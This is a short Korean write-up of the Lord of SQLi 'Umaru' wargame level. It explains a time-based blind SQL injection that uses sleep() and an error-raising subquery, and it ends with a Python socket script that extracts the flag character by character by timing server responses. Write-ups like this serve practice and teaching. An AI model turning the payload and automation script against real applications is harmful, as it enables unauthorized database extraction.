flag를 찾는 문제인데, flag가 틀릴때마다 reset되어버린다. 제일 큰 관건은 reset이 안되면서 flag값을 찾아내는 것이 이 문제를 풀 수 있는 방법이다.
reset이 되지 않으려면 에러 쿼리를 이용하면 되고, 그리고 에러 쿼리를 실행하게 되면 참인지 거짓인지 판단할 수가 없기때문에 sleep을 이용하면된다.
sleep을 이용해서 참일 경우에는 몇초간 돌고, 거짓일 경우에는 실행이 안되게끔 하면된다. 먼저 코드에서 flag의 길이는 16자리라고 나와있지만, 확인차 제대로된 쿼리가 만들어졌는지 확인해보고자 길이가 맞는지 확인해보았다.
flag=sleep((length(flag)=16)*5)=(select 1 union select 2) -> 5초동안 돌다가 빈 페이지가 뜬다.
이 점을 이용해서 하나씩 flag를 찾으면 된다.
[Umaru 자동화프로그램] - Python3
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | #LOS_Umaru import socket import time flag="" for i in range(1,17): for ch in range(48,123): if 58 <= ch <= 64: continue if 91 <= ch <= 96: continue sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM) sock.connect(('104.27.174.42',80)) header = "GET /umaru_6f977f0504e56eeb72967f35eadbfdf5.php" header += "?flag=sleep((flag like %27"+flag+chr(ch)+"%%27)*5)=(select 1 union select 2) " header += "HTTP/1.1\r\n" header += "Host:los.eagle-jump.org\r\n" header += "Cookie:PHPSESSID=e84gpdkoqtbuk26b6hl7lkq6t3\r\n" #쿠키는 현재 header += "\r\n" response = '' start = time.time() sock.send(header.encode()) response = sock.recv(65535) end = time.time()-start response = response.decode() if int(end) == 5: print(flag) flag += chr(ch) sock.close() break sock.close() flag=flag.lower() print(flag) | IT Security |